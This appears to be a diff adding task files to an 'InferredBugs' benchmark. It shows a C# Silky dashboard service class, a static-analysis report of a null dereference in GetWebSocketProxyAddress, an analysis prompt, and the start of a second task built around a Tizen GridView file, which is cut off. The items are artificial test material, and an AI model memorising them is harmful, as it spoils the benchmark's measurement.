+using Silky.Rpc.Endpoint;
+using Silky.Rpc.Endpoint.Descriptor;
+using Silky.Rpc.RegistryCenters;
+using Silky.Rpc.Runtime.Client;
+using Silky.Rpc.Runtime.Server;
+
+namespace Silky.Http.Dashboard.AppService
+{
+    public class SilkyAppService : ISilkyAppService
+    {
+        private readonly IServerManager _serverManager;
+        private readonly IServiceManager _serviceManager;
+        private readonly IServiceEntryManager _serviceEntryManager;
+        private readonly IServiceEntryLocator _serviceEntryLocator;
+        private readonly IRemoteExecutor _remoteExecutor;
+        private readonly ILocalExecutor _localExecutor;
+        private readonly IRegisterCenterHealthProvider _registerCenterHealthProvider;
+        private readonly IServerHealthCheck _serverHealthCheck;
+
+
+        private const string ipEndpointRegex =
+            @"([0-9]|[1-9]\d{1,3}|[1-5]\d{4}|6[0-4]\d{3}|65[0-4]\d{2}|655[0-2]\d|6553[0-5])";
+
+        private const string getInstanceSupervisorServiceEntryId =
+            "Silky.Rpc.AppService.IRpcAppService.GetInstanceDetail_Get";
+
+        private const string getGetServiceEntrySupervisorServiceHandleServiceEntryId =
+            "Silky.Rpc.AppService.IRpcAppService.GetServiceEntryHandleInfos_Get";
+
+        private const string getGetServiceEntrySupervisorServiceInvokeServiceEntryId =
+            "Silky.Rpc.AppService.IRpcAppService.GetServiceEntryInvokeInfos_Get";
+
+        public SilkyAppService(
+            IServerManager serverManager,
+            IServiceManager serviceManager,
+            IServiceEntryManager serviceEntryManager,
+            IServiceEntryLocator serviceEntryLocator,
+            IRemoteExecutor remoteExecutor,
+            ILocalExecutor localExecutor,
+            IRegisterCenterHealthProvider registerCenterHealthProvider,
+            IServerHealthCheck serverHealthCheck)
+        {
+            _serverManager = serverManager;
+            _serviceEntryManager = serviceEntryManager;
+
+            _remoteExecutor = remoteExecutor;
+            _registerCenterHealthProvider = registerCenterHealthProvider;
+            _serverHealthCheck = serverHealthCheck;
+            _serviceManager = serviceManager;
+            _localExecutor = localExecutor;
+            _serviceEntryLocator = serviceEntryLocator;
+        }
+
+        public PagedList<GetHostOutput> GetHosts(PagedRequestDto input)
+        {
+            return GetAllHosts().ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        public IReadOnlyCollection<GetHostOutput> GetAllHosts()
+        {
+            var serverDescriptors = _serverManager
+                .ServerDescriptors
+                .Where(p => p.Endpoints.Any(e => e.IsInstanceEndpoint()))
+                .Select(p => new GetHostOutput()
+                {
+                    AppServiceCount = p.Services.Length,
+                    InstanceCount = p.Endpoints.Count(e => e.IsInstanceEndpoint()),
+                    HostName = p.HostName,
+                    ServiceProtocols = p.Endpoints.Select(e => e.ServiceProtocol).Distinct().ToArray(),
+                    ServiceEntriesCount = p.Services.SelectMany(s => s.ServiceEntries).Count()
+                });
+            return serverDescriptors.ToArray();
+        }
+
+        public ServerDescriptor GetHostDetail(string hostName)
+        {
+            var serverDescriptor = _serverManager.GetServerDescriptor(hostName);
+            if (serverDescriptor == null)
+            {
+                throw new BusinessException($"There is no server for {hostName}");
+            }
+
+            return serverDescriptor;
+        }
+
+        public PagedList<GetHostInstanceOutput> GetHostInstances(string hostName,
+            GetHostInstanceInput input)
+        {
+            var server = _serverManager.GetServer(hostName);
+            if (server == null)
+            {
+                throw new BusinessException($"There is no server for {hostName}");
+            }
+
+            var hostInstances = server.Endpoints
+                    .Select(p => new GetHostInstanceOutput()
+                    {
+                        HostName = server.HostName,
+                        IsHealth = _serverHealthCheck.IsHealth(p).GetAwaiter().GetResult(),
+                        Address = p.GetAddress(),
+                        Host = p.Host,
+                        Port = p.Port,
+                        IsEnable = p.Enabled,
+                        LastDisableTime = p.LastDisableTime,
+                        ServiceProtocol = p.ServiceProtocol,
+                    })
+                    .WhereIf(input.ServiceProtocol.HasValue, p => p.ServiceProtocol == input.ServiceProtocol)
+                ;
+
+            return hostInstances.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        public PagedList<GetWebSocketServiceOutput> GetWebSocketServices(string hostName, PagedRequestDto input)
+        {
+            var webSocketServiceOutputs = new List<GetWebSocketServiceOutput>();
+
+            var server = _serverManager.GetServer(hostName);
+            var wsServices = server.Services.Where(p => p.ServiceProtocol == ServiceProtocol.Ws);
+            var endpoints = server.Endpoints.Where(p => p.ServiceProtocol == ServiceProtocol.Ws);
+            foreach (var wsService in wsServices)
+            {
+                foreach (var endpoint in endpoints)
+                {
+                    var webSocketServiceOutput = new GetWebSocketServiceOutput()
+                    {
+                        HostName = server.HostName,
+                        ServiceId = wsService.Id,
+                        ServiceName = wsService.ServiceName,
+                        Address = endpoint.GetAddress(),
+                        ProxyAddress = $"{GetWebSocketProxyAddress()}://{wsService.GetWsPath()}",
+                        Path = wsService.GetWsPath()
+                    };
+                    webSocketServiceOutputs.Add(webSocketServiceOutput);
+                }
+            }
+
+            return webSocketServiceOutputs.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        private string GetWebSocketProxyAddress()
+        {
+            var webEndpoint = RpcEndpointHelper.GetLocalWebEndpoint();
+            var wsServiceProtocol = webEndpoint.ServiceProtocol == ServiceProtocol.Https
+                ? ServiceProtocol.Wss
+                : ServiceProtocol.Ws;
+            return $"{wsServiceProtocol}://{webEndpoint.GetAddress()}";
+        }
+
+        public IReadOnlyCollection<GetServiceOutput> GetServices(string hostName)
+        {
+            return _serverManager.ServerDescriptors
+                .WhereIf(!hostName.IsNullOrEmpty(), p => p.HostName.Equals(hostName))
+                .SelectMany(p => p.Services.Select(s => new GetServiceOutput()
+                {
+                    ServiceName = s.ServiceName,
+                    ServiceId = s.Id,
+                    ServiceProtocol = s.ServiceProtocol
+                }))
+                .Distinct()
+                .ToArray();
+        }
+
+        public GetGatewayOutput GetGateway()
+        {
+            var gateway = _serverManager.GetServer(EngineContext.Current.HostName);
+            return new GetGatewayOutput()
+            {
+                HostName = gateway.HostName,
+                InstanceCount = gateway.Endpoints.Count(p => p.ServiceProtocol.IsHttp()),
+                SupportServiceCount = _serviceManager.GetAllService().Count,
+                SupportServiceEntryCount = _serviceEntryManager.GetAllEntries().Count
+            };
+        }
+
+        public PagedList<GetGatewayInstanceOutput> GetGatewayInstances(PagedRequestDto input)
+        {
+            var gateway = _serverManager.GetServer(EngineContext.Current.HostName);
+
+            var gatewayInstances = new List<GetGatewayInstanceOutput>();
+            var gatewayEndpoints = gateway.Endpoints.Where(p => p.ServiceProtocol.IsHttp());
+            foreach (var addressDescriptor in gatewayEndpoints)
+            {
+                var gatewayInstance = new GetGatewayInstanceOutput()
+                {
+                    HostName = gateway.HostName,
+                    Address =
+                        $"{addressDescriptor.ServiceProtocol}://{addressDescriptor.Host}:{addressDescriptor.Port}"
+                            .ToLower(),
+                    Port = addressDescriptor.Port,
+                    ServiceProtocol = addressDescriptor.ServiceProtocol
+                };
+                gatewayInstances.Add(gatewayInstance);
+            }
+
+            return gatewayInstances.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+
+        public PagedList<ServiceEntryDescriptor> GetGatewayServiceEntries(GetGatewayServiceEntryInput input)
+        {
+            var serviceEntries = _serviceEntryManager
+                    .GetAllEntries()
+                    .Select(p => p.ServiceEntryDescriptor)
+                    .Where(p => !p.ProhibitExtranet)
+                    .WhereIf(!input.ServiceId.IsNullOrEmpty(), p => p.ServiceId.Equals(input.ServiceId))
+                    .WhereIf(!input.SearchKey.IsNullOrEmpty(), p =>
+                        p.ServiceId.Contains(input.SearchKey) ||
+                        p.ServiceName.Contains(input.SearchKey) ||
+                        p.Id.Contains(input.SearchKey) ||
+                        p.WebApi.Contains(input.SearchKey)
+                    )
+                ;
+            return serviceEntries.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        public ICollection<GetServiceOutput> GetGatewayServices()
+        {
+            var services = _serviceManager.GetAllService()
+                .Where(p => !p.ServiceDescriptor.IsSilkyService())
+                .Select(p => new GetServiceOutput()
+                {
+                    ServiceId = p.Id,
+                    ServiceName = p.ServiceDescriptor.ServiceName,
+                    ServiceProtocol = p.ServiceProtocol
+                }).Distinct().ToList();
+            return services;
+        }
+
+        public PagedList<GetServiceEntryOutput> GetServiceEntries(GetServiceEntryInput input)
+        {
+            var serviceEntryOutputs = GetAllServiceEntryFromCache();
+
+            serviceEntryOutputs = serviceEntryOutputs
+                .WhereIf(!input.HostName.IsNullOrEmpty(),
+                    p => input.HostName.Equals(p.HostName))
+                .WhereIf(!input.ServiceId.IsNullOrEmpty(),
+                    p => input.ServiceId.Equals(p.ServiceId))
+                .WhereIf(!input.ServiceEntryId.IsNullOrEmpty(),
+                    p => input.ServiceEntryId.Equals(p.ServiceEntryId))
+                .WhereIf(!input.SearchKey.IsNullOrEmpty(),
+                    p =>
+                        p.ServiceEntryId.Contains(input.SearchKey) ||
+                        p.Author?.Contains(input.SearchKey) == true ||
+                        p.WebApi?.Contains(input.SearchKey) == true ||
+                        p.Method.Contains(input.SearchKey)
+                )
+                .WhereIf(input.IsEnable.HasValue, p => p.IsEnable == input.IsEnable)
+                .WhereIf(input.IsAllowAnonymous.HasValue, p => p.IsAllowAnonymous == input.IsAllowAnonymous)
+                .WhereIf(input.ProhibitExtranet.HasValue, p => p.ProhibitExtranet == input.ProhibitExtranet)
+                .WhereIf(input.IsDistributeTransaction.HasValue,
+                    p => p.IsDistributeTransaction == input.IsDistributeTransaction)
+                .WhereIf(input.MultipleServiceKey.HasValue, p => p.MultipleServiceKey == input.MultipleServiceKey)
+                .WhereIf(input.IsSystem.HasValue, p => p.IsSystem == input.IsSystem)
+                .OrderBy(p => p.HostName)
+                .ThenBy(p => p.ServiceId)
+                .ToList();
+            return serviceEntryOutputs.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        private List<GetServiceEntryOutput> GetAllServiceEntryFromCache()
+        {
+            var serviceEntryOutputs = new List<GetServiceEntryOutput>();
+            var servers = _serverManager.Servers;
+            foreach (var server in servers)
+            {
+                foreach (var service in server.Services)
+                {
+                    var serviceEntries = service.ServiceEntries.Select(p =>
+                        new GetServiceEntryOutput()
+                        {
+                            ServiceName = service.ServiceName,
+                            ServiceId = service.Id,
+                            ServiceEntryId = p.Id,
+                            HostName = server.HostName,
+                            IsEnable = server.Endpoints.Any(e =>
+                                e.Enabled && e.ServiceProtocol == service.ServiceProtocol),
+                            ServerInstanceCount = server.Endpoints.Count(e =>
+                                e.ServiceProtocol == service.ServiceProtocol && e.Enabled),
+                            ServiceProtocol = p.ServiceProtocol,
+                            MultipleServiceKey = service.MultiServiceKeys(),
+                            Author = p.GetAuthor(),
+                            ProhibitExtranet = p.ProhibitExtranet,
+                            IsAllowAnonymous = p.IsAllowAnonymous,
+                            WebApi = p.WebApi,
+                            HttpMethod = p.HttpMethod,
+                            Method = p.Method,
+                            IsSystem = service.IsSilkyService(),
+                            IsDistributeTransaction = p.IsDistributeTransaction,
+                            ServiceKeys = service.GetServiceKeys()?.Select(sk => new ServiceKeyOutput()
+                            {
+                                Name = sk.Key,
+                                Weight = sk.Value
+                            }).ToArray(),
+                        });
+                    serviceEntryOutputs.AddRange(serviceEntries);
+                }
+            }
+
+            return serviceEntryOutputs;
+        }
+
+        public GetServiceEntryDetailOutput GetServiceEntryDetail(string serviceEntryId)
+        {
+            var serviceEntryOutput =
+                GetAllServiceEntryFromCache().FirstOrDefault(p => p.ServiceEntryId == serviceEntryId);
+            if (serviceEntryOutput == null)
+            {
+                throw new BusinessException($"There is no service entry with id {serviceEntryId}");
+            }
+
+            var serviceEntry = _serviceEntryLocator.GetServiceEntryById(serviceEntryOutput.ServiceEntryId);
+            var serviceEntryDetailOutput = new GetServiceEntryDetailOutput()
+            {
+                HostName = serviceEntryOutput.HostName,
+                ServiceEntryId = serviceEntryOutput.ServiceEntryId,
+                ServiceId = serviceEntryOutput.ServiceId,
+                ServiceName = serviceEntryOutput.ServiceName,
+                ServiceProtocol = serviceEntryOutput.ServiceProtocol,
+                Author = serviceEntryOutput.Author,
+                WebApi = serviceEntryOutput.WebApi,
+                HttpMethod = serviceEntryOutput.HttpMethod,
+                ProhibitExtranet = serviceEntryOutput.ProhibitExtranet,
+                Method = serviceEntryOutput.Method,
+                MultipleServiceKey = serviceEntryOutput.MultipleServiceKey,
+                IsEnable = serviceEntryOutput.IsEnable,
+                ServerInstanceCount = serviceEntryOutput.ServerInstanceCount,
+                Governance = serviceEntry?.GovernanceOptions,
+                CacheTemplates = serviceEntry?.CustomAttributes.OfType<ICachingInterceptProvider>().Select(p =>
+                    new ServiceEntryCacheTemplateOutput()
+                    {
+                        KeyTemplete = p.KeyTemplete,
+                        OnlyCurrentUserData = p.OnlyCurrentUserData,
+                        CachingMethod = p.CachingMethod
+                    }).ToArray(),
+                ServiceKeys = serviceEntryOutput.ServiceKeys,
+                IsDistributeTransaction = serviceEntryOutput.IsDistributeTransaction,
+                Fallbacks = serviceEntry?.CustomAttributes.OfType<FallbackAttribute>().Select(p => new FallbackOutput()
+                {
+                    TypeName = p.Type.FullName,
+                    MethodName = p.MethodName ?? serviceEntry?.MethodInfo.Name,
+                    Weight = p.Weight
+                }).ToArray()
+            };
+
+            return serviceEntryDetailOutput;
+        }
+
+        public PagedList<GetServiceEntryInstanceOutput> GetServiceEntryInstances(string serviceEntryId,
+            int pageIndex = 1,
+            int pageSize = 10)
+        {
+            var serviceEntryDescriptor = _serverManager.ServerDescriptors
+                .SelectMany(p => p.Services.SelectMany(p => p.ServiceEntries))
+                .FirstOrDefault(p => p.Id == serviceEntryId);
+            if (serviceEntryDescriptor == null)
+            {
+                throw new BusinessException($"There is no service entry with id {serviceEntryId}");
+            }
+
+            var serverInstances = _serverManager.Servers.Where(p => p
+                    .Services.Any(q => q.ServiceEntries.Any(e => e.Id == serviceEntryId)))
+                .SelectMany(p => p.Endpoints).Where(p => p.ServiceProtocol == serviceEntryDescriptor.ServiceProtocol);
+
+            var serviceEntryInstances = serverInstances
+                .Where(p => p.ServiceProtocol == ServiceProtocol.Tcp).Select(p =>
+                    new GetServiceEntryInstanceOutput()
+                    {
+                        ServiceEntryId = serviceEntryId,
+                        Address = p.Descriptor.GetHostAddress(),
+                        Enabled = p.Enabled,
+                        IsHealth = _serverHealthCheck.IsHealth(p).GetAwaiter().GetResult(),
+                        ServiceProtocol = p.ServiceProtocol
+                    });
+
+            return serviceEntryInstances.ToPagedList(pageIndex, pageSize);
+        }
+
+        public async Task<ServerInstanceDetailInfo> GetInstanceDetail(string address)
+        {
+            if (!Regex.IsMatch(address, ipEndpointRegex))
+            {
+                throw new BusinessException($"{address} incorrect rpc address format");
+            }
+
+            var serviceEntry = _serviceEntryLocator.GetServiceEntryById(getInstanceSupervisorServiceEntryId);
+            if (serviceEntry == null)
+            {
+                throw new BusinessException($"Not find serviceEntry by {getInstanceSupervisorServiceEntryId}");
+            }
+
+            var result = await ServiceEntryExec<ServerInstanceDetailInfo>(address, serviceEntry);
+            if (result?.Address != address)
+            {
+                throw new SilkyException("The rpc address of the routing instance is wrong");
+            }
+
+            return result;
+        }
+
+        public async Task<PagedList<ServerHandleInfo>> GetServiceEntryHandleInfos(string address,
+            PagedRequestDto input)
+        {
+            if (!Regex.IsMatch(address, ipEndpointRegex))
+            {
+                throw new BusinessException($"{address} incorrect rpcAddress format");
+            }
+
+            var serviceEntry =
+                _serviceEntryLocator.GetServiceEntryById(getGetServiceEntrySupervisorServiceHandleServiceEntryId);
+            if (serviceEntry == null)
+            {
+                throw new BusinessException(
+                    $"Not find serviceEntry by {getGetServiceEntrySupervisorServiceHandleServiceEntryId}");
+            }
+
+            var result = await ServiceEntryExec<IReadOnlyCollection<ServerHandleInfo>>(address, serviceEntry);
+
+            return result.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+        private bool IsLocalAddress(string address)
+        {
+            var localAddress = RpcEndpointHelper.GetLocalTcpEndpoint().GetAddress();
+            return localAddress.Equals(address);
+        }
+
+
+        public async Task<PagedList<ClientInvokeInfo>> GetServiceEntryInvokeInfos(string address,
+            PagedRequestDto input)
+        {
+            if (!Regex.IsMatch(address, ipEndpointRegex))
+            {
+                throw new BusinessException($"{address} incorrect rpc address format");
+            }
+
+            var serviceEntry =
+                _serviceEntryLocator.GetServiceEntryById(getGetServiceEntrySupervisorServiceInvokeServiceEntryId);
+            if (serviceEntry == null)
+            {
+                throw new BusinessException(
+                    $"Not find serviceEntry by {getGetServiceEntrySupervisorServiceInvokeServiceEntryId}");
+            }
+
+            var result = await ServiceEntryExec<IReadOnlyCollection<ClientInvokeInfo>>(address, serviceEntry);
+
+            return result.ToPagedList(input.PageIndex, input.PageSize);
+        }
+
+
+        public IReadOnlyCollection<GetRegistryCenterOutput> GetRegistryCenters()
+        {
+            var registerCenterInfos = _registerCenterHealthProvider.GetRegistryCenterHealthInfo();
+            return registerCenterInfos.Select(p =>
+                new GetRegistryCenterOutput()
+                {
+                    RegistryCenterAddress = p.Key,
+                    IsHealth = p.Value.IsHealth,
+                    UnHealthReason = p.Value.UnHealthReason,
+                    UnHealthTimes = p.Value.UnHealthTimes,
+                    RegistryCenterType = EngineContext.Current.Configuration.GetValue<string>("registrycenter:type")
+                }).ToArray();
+        }
+
+        public IReadOnlyCollection<GetProfileOutput> GetProfiles()
+        {
+            var getProfileOutputs = new List<GetProfileOutput>();
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "Microservice",
+                Title = "微服务应用",
+                Count = _serverManager.ServerDescriptors.Count(p => p.Endpoints.Any(e => e.IsInstanceEndpoint()))
+            });
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "ServiceInstance",
+                Title = "微服务应用实例",
+                Count = _serverManager.ServerDescriptors.SelectMany(p => p.Endpoints).Count(p => p.IsInstanceEndpoint())
+            });
+
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "GatewayInstance",
+                Title = "网关实例",
+                Count = _serverManager.GetSelfServer().Endpoints.Count(e => e.ServiceProtocol.IsHttp())
+            });
+
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "WebSocketService",
+                Title = "支持WebSocket的微服务",
+                Count = _serverManager.ServerDescriptors
+                    .Count(p => p.Endpoints.Any(e => e.ServiceProtocol == ServiceProtocol.Ws))
+            });
+
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "WebSocketServiceInstance",
+                Title = "支持WebSocket的实例",
+                Count = _serverManager.ServerDescriptors.SelectMany(p => p.Endpoints)
+                    .Count(p => p.ServiceProtocol == ServiceProtocol.Ws)
+            });
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "Services",
+                Title = "应用服务",
+                Count = _serverManager.ServerDescriptors.SelectMany(p => p.Services)
+                    .Distinct().Count()
+            });
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "WebSocketService",
+                Title = "WebSocket服务",
+                Count = _serverManager.ServerDescriptors.SelectMany(p => p.Services)
+                    .Where(p => p.ServiceProtocol == ServiceProtocol.Ws)
+                    .Distinct().Count()
+            });
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "ServiceEntry",
+                Title = "服务条目",
+                Count = _serverManager.ServerDescriptors.SelectMany(p => p.Services.SelectMany(p => p.ServiceEntries))
+                    .Distinct().Count()
+            });
+            getProfileOutputs.Add(new GetProfileOutput()
+            {
+                Code = "RegistryCenter",
+                Title = "服务注册中心",
+                Count = _registerCenterHealthProvider.GetRegistryCenterHealthInfo().Count
+            });
+
+            return getProfileOutputs.Where(p => p.Count > 0).ToArray();
+        }
+
+        public IReadOnlyCollection<GetExternalRouteOutput> GetExternalRoutes()
+        {
+            var externalRoutes = new List<GetExternalRouteOutput>();
+            var dashboardOptions = EngineContext.Current.GetOptionsSnapshot<DashboardOptions>();
+            if (dashboardOptions.ExternalLinks != null && dashboardOptions.ExternalLinks.Any())
+            {
+                var externalRoute = CreateExternalRoute("/external");
+                externalRoute.Meta["Icon"] = "el-icon-link";
+                externalRoute.Meta["Title"] = "外部链接";
+                externalRoute.Meta["IsLayout"] = true;
+                externalRoute.Meta["ShowLink"] = true;
+                externalRoute.Meta["SavedPosition"] = false;
+                externalRoute.Name = "external";
+                foreach (var externalLink in dashboardOptions.ExternalLinks)
+                {
+                    var externalRouteChild = CreateExternalRoute(externalLink.Path);
+                    externalRouteChild.Meta["Icon"] = externalLink.Icon ?? "el-icon-link";
+                    externalRouteChild.Meta["Title"] = externalLink.Title;
+                    externalRouteChild.Meta["ShowLink"] = true;
+                    externalRouteChild.Meta["ExternalLink"] = true;
+                    externalRoute.Meta["SavedPosition"] = false;
+                    if (externalRoute.Children.All(p => p.Path != externalRouteChild.Path))
+                    {
+                        externalRoute.Children.Add(externalRouteChild);
+                    }
+                }
+
+                externalRoutes.Add(externalRoute);
+            }
+
+            return externalRoutes.ToArray();
+        }
+
+
+        private GetExternalRouteOutput CreateExternalRoute(string path)
+        {
+            var externalRoute = new GetExternalRouteOutput()
+            {
+                Path = path,
+                Meta = new Dictionary<string, object>()
+            };
+            return externalRoute;
+        }
+
+        private async Task<T> ServiceEntryExec<T>(string address, ServiceEntry serviceEntry)
+        {
+            T result;
+            if (IsLocalAddress(address))
+            {
+                result =
+                    (T)await _localExecutor.Execute(serviceEntry, Array.Empty<object>(), null);
+            }
+            else
+            {
+                RpcContext.Context.SetAttachment(AttachmentKeys.SelectedServerEndpoint, address);
+                result = (T)await _remoteExecutor.Execute(serviceEntry, Array.Empty<object>(), null);
+            }
+
+            return result;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `webEndpoint` last assigned on line 157 could be null and is dereferenced at line 158, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+String SilkyAppService.GetWebSocketProxyAddress()
+
+### File:
+framework/src/Silky.Http.Dashboard/AppService/SilkyAppService.cs
+
+### Key:
+SilkyAppService.cs|GetWebSocketProxyAddress|NULL_DEREFERENCE
+
+### Node Key:
+56203f4e21ecf9e860f6a12dc3683775
+
+### Hash:
+d23711136270c3e7697937821cbf45c3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0766/instruction.md b/inferredbugs-0766/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f0ced25a2e6e5bf466d78ca5b0f9a30d98e55916
--- /dev/null
+++ b/inferredbugs-0766/instruction.md
@@ -0,0 +1,3833 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Tizen-CSharp-Samples
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/** Copyright (c) 2017 Samsung Electronics Co., Ltd.
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*
+*/
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Diagnostics;
+using Tizen.NUI;
+using Tizen.NUI.BaseComponents;
+
+namespace Tizen.NUI
+{
+    /// <summary>
+    /// A view that shows items in two-dimension grid, which can scroll horizontally or vertically.
+    /// The items in the grid come from the GirdBridge associated with this view.
+    /// </summary>
+    public class GridView : View
+    {
+        /// <summary>
+        /// GridView event types
+        /// </summary>
+        public enum GridEventType
+        {
+            /// <summary>
+            /// Event triggered when focus change 
+            /// </summary>
+            FocusChange,
+            /// <summary>
+            /// Event triggered when item scroll in 
+            /// </summary>
+            ItemScrolledIn,
+            /// <summary>
+            /// Event triggered when item scroll out 
+            /// </summary>
+            ItemScrolledOut,
+        }
+
+        /// <summary>
+        /// GridView orientation types
+        /// </summary>
+        public enum GridType
+        {
+            /// <summary>
+            /// Items laid horizontal 
+            /// </summary>
+            Horizontal = 0,
+            /// <summary>
+            /// Items laid vertical
+            /// </summary>
+            Vertical
+        }
+
+        /// <summary>
+        /// GridView event args at event call back, user can get information
+        /// </summary>
+        public class GridEventArgs : EventArgs
+        {
+            /// <summary>
+            /// GridView event type
+            /// </summary>
+            public GridEventType EventType
+            {
+                get;
+                set;
+            }
+
+            /// <summary>
+            /// GridView event data
+            /// </summary>
+            public int[] param = new int[4];
+        }
+
+        /// <summary>
+        /// Construct GridView.
+        /// </summary>
+        public GridView()
+        {
+            Initialize();
+
+            // register event handler for relayout
+            Relayout += OnRelayoutUpdate;
+
+            FocusGained += ControlFocusGained;
+            FocusLost += ControlFocusLost;
+        }
+
+        /// <summary> 
+        /// Get/Set list type. 
+        /// </summary>
+        public GridType Type
+        {
+            get { return gridType; }
+            set { gridType = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set list spaces around items. 
+        /// </summary>
+        public new Vector4 Margin
+        {
+            get { return margin; }
+            set { margin = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between columns 
+        /// </summary>
+        public int ColumnSpace
+        {
+            get { return columnSpace; }
+            set { columnSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between rows 
+        /// </summary>
+        public int RowSpace
+        {
+            get { return rowSpace; }
+            set { rowSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between groups 
+        /// </summary>
+        public int GroupSpace
+        {
+            get { return groupSpace; }
+            set { groupSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space for title 
+        /// </summary>
+        public int TitleSpace
+        {
+            get { return titleSpace; }
+            set { titleSpace = value; }
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of whether support straight path focus move.
+        /// </summary>
+        public bool StateStraightPathEnable
+        {
+            get;
+            set;
+        }
+        /// <summary>
+        /// Get/Set enable flag of right circulation of GridView.
+        /// </summary>
+        public bool StateRightCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of left circulation of GridView.
+        /// </summary>
+        public bool StateLeftCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set focus move animation duration of GridView. 
+        /// </summary>
+        public int FocusMoveDuration
+        {
+            get
+            {
+                return focusMoveAniDuration;
+            }
+
+            set
+            {
+                focusMoveAniDuration = value;
+                //focusMoveAni.Duration = value;
+                //scaleAni.Duration = value;
+            }
+        }
+
+        /// <summary>
+        /// Get/Set scroll bar fade out time
+        /// </summary>
+        public int ScrollBarFadeOutDuration
+        {
+            get;
+            set;
+        }
+
+
+        /// <summary> 
+        /// Preload item buffer size at front 
+        /// </summary>
+        public int PreloadFrontColumnSize
+        {
+            get { return preloadFrontColumnSize; }
+            set { preloadFrontColumnSize = value ; }
+        }
+
+        /// <summary> 
+        /// Preload item buffer size at back 
+        /// </summary>
+        public int PreloadBackColumnSize
+        {
+            get { return preloadBackColumnSize; }
+            set { preloadBackColumnSize = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale factor 
+        /// </summary>
+        public float FocusInScaleFactor
+        {
+            get { return focusInScaleFactor; }
+            set { focusInScaleFactor = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusInScaleAnimationAttrs
+        {
+            get { return focusInScaleAnimationAttrs; }
+            set { focusInScaleAnimationAttrs = value; }
+        }
+
+        /// <summary> 
+        /// Focus out scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusOutScaleAnimationAttrs
+        {
+            get { return focusOutScaleAnimationAttrs; }
+            set { focusOutScaleAnimationAttrs = value; }
+        }
+        /// <summary>
+        /// Sets the data behind this GridView.
+        /// </summary>
+        /// <param name="bridge">The GridBridge which is responsible for maintaining the data
+        /// backing this grid and for producing a view to represent an item in the data set.</param>
+        public void SetBridge(GridBridge bridge)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set bridge for GridView"));
+            Debug.Assert(bridge != null);
+
+            if (gridBridge != null)
+            {
+                return;
+            }
+
+            gridBridge = bridge;
+
+            gridBridge.DataChangeEvent += OnDataChange;
+
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                View groupTitle = gridBridge.GetGroupTitleView(i);
+                if (groupTitle != null)
+                {
+                    groupList[i].title = groupTitle;
+
+                    if (GridType.Horizontal == gridType)
+                    {
+                        groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                        groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                        groupTitle.PositionUsesPivotPoint = true;
+                        groupTitle.PositionX = groupList[i].startPos;
+                        groupTitle.PositionY = -titleSpace;
+                        Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                    }
+                    else
+                    {
+                        groupTitle.PositionX = 0;
+                        groupTitle.PositionY = groupList[i].startPos - titleSpace;
+                    }
+
+                    itemGroup.Add(groupTitle);
+                }
+            }
+
+            SetViewTypeCount(gridBridge.GetItemTypeCount());
+
+
+            if (groupList.Count > 0)
+            {
+                Load();
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+        /// <summary>
